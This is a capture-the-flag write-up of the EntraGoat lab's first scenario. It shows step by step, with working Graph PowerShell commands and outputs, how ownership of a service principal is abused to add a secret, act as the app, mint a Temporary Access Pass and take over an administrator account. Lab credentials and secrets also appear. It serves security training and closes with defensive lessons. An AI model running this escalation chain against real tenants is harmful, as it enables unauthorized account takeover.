EntraGoat

EntraGoat Scenario 1 - Misowned and Dangerous

Objective

Obtain access to the administrative account and retrieve the flag stored in extensionAttribute1.

Initial Access

The scenario provided the following credentials:

Username: david.martinez@tenant.onmicrosoft.com
Password: GoatAccess!123

Target:

EntraGoat-admin-s1@tenant.onmicrosoft.com

Hint:

Ownership leaves a mark. Trace what entities bear your name.

Enumeration

The hint pointed straight at ownership (“Trace what entities bear your name”), so after authenticating to the tenant I ran ROADrecon and focused on what David Martinez — the account I controlled — actually owned across users, applications, and roles.

That came back with a Service Principal owned by David Martinez:

Finance Analytics Dashboard

ROADrecon revealed:

Finance Analytics Dashboard
└── Privileged Authentication Administrator

That was the whole game: the application itself held a privileged Entra role, and I already owned the application — so if I could act as the app, I’d inherit that role.

Service Principal Enumeration

Using Microsoft Graph PowerShell:

Get-MgServicePrincipal-Filter"displayName eq 'Finance Analytics Dashboard'"

The Service Principal was identified as:

Finance Analytics Dashboard
Service Principal ID:
5da1c79b-a7cf-4e91-aac9-98d8bac7cdbb

Ownership was verified:

Get-MgServicePrincipalOwner -ServicePrincipalId 5da1c79b-a7cf-4e91-aac9-98d8bac7cdbb

Id                                   DeletedDateTime
--                                   ---------------
01cfd58a-8c3b-45b3-85a9-1aab913d939e

Get-MgUser -UserId "01cfd58a-8c3b-45b3-85a9-1aab913d939e"

DisplayName    Id                                   Mail UserPrincipalName
-----------    --                                   ---- -----------------
David Martinez 01cfd58a-8c3b-45b3-85a9-1aab913d939e      david.martinez@neho7890gmail.onmicrosoft.com

Privilege Escalation

Ownership of a Service Principal lets you add credentials to it, so I added a new client secret — effectively minting myself a password to log in as the application.

$spId = "5da1c79b-a7cf-4e91-aac9-98d8bac7cdbb"
$appId = "b9939ce3-d261-4b98-b0de-52a206971495"

$cred = Add-MgServicePrincipalPassword `
  -ServicePrincipalId $spId `
  -PasswordCredential @{
    displayName = "entra-goat-lab"
    endDateTime = (Get-Date).AddHours(2)
  }

$secret = $cred.SecretText
$secret

A valid secret was returned.

Output:

jGT8Q~ZpSlNVrotXCHs8K-ASBXkDJh4aIqAw7bGr

Service Principal Authentication

With that secret and the application ID, I requested an OAuth token through the client-credentials flow.

$tenantId = (Get-MgContext).TenantId

$body = @{
  client_id     = $appId
  client_secret = $secret
  scope         = "<https://graph.microsoft.com/.default>"
  grant_type    = "client_credentials"
}

$token = Invoke-RestMethod `
  -Method POST `
  -Uri "<https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token>" `
  -Body $body

From here I was acting as the application itself rather than as David Martinez — and the application was the thing carrying the privileged role.

Abuse of Privileged Authentication Administrator

The Service Principal possessed the role:

Privileged Authentication Administrator

This role allows management of authentication methods for users.

A Temporary Access Pass (TAP) was created for the target administrator account.

POST/users/{id}/authentication/temporaryAccessPassMethods

The full request I sent:

$adminId = "882fb539-fcca-4344-aa05-f1f6f8229f92"

$headers = @{
  Authorization = "Bearer $($token.access_token)"
  "Content-Type" = "application/json"
}

$tapBody = @{
  lifetimeInMinutes = 60
  isUsableOnce = $false
} | ConvertTo-Json

Invoke-RestMethod `
  -Method POST `
  -Uri "<https://graph.microsoft.com/v1.0/users/$adminId/authentication/temporaryAccessPassMethods>" `
  -Headers $headers `
  -Body $tapBody

Response:

@odata.context        : <https://graph.microsoft.com/v1.0/$metadata#users>('882fb539-fcca-4344-aa05
                        -f1f6f8229f92')/authentication/temporaryAccessPassMethods/$entity
id                    : fa73c6e7-2271-4fae-8a77-0469a463243b
isUsable              : True
methodUsabilityReason : EnabledByPolicy
temporaryAccessPass   : @%PhE^%^
createdDateTime       : 2026-05-30T12:10:37.7743335Z
startDateTime         : 2026-05-30T12:10:37.4393281Z
lifetimeInMinutes     : 60
isUsableOnce          : False

Account Takeover

A TAP is a valid credential in its own right, so I used it to sign straight in as the administrator account.

User:
EntraGoat-admin-s1@tenant.onmicrosoft.com

TAP:
@%PhE^%^

That put me in the target admin account.

Flag Retrieval

After signing in as the administrator, the flag was retrieved from:

User Properties
→ extensionAttribute1

Flag:

EntraGoat{SP_0wn3rsh1p_Pr1v_Esc@l@t10n_Congratz!}

Attack Path

David Martinez
        │
        ▼
Owner of Finance Analytics Dashboard
        │
        ▼
Add Service Principal Secret
        │
        ▼
Authenticate as Application
        │
        ▼
Privileged Authentication Administrator
        │
        ▼
Create Temporary Access Pass
        │
        ▼
Takeover EntraGoat-admin-s1
        │
        ▼
Retrieve Flag

Lessons Learned

Application ownership can be a highly privileged relationship.
Service Principals should be treated as privileged identities.
Privileged Authentication Administrator can be abused to gain access to privileged accounts through Temporary Access Pass generation.
Enumeration of ownership relationships is critical when assessing Entra ID environments.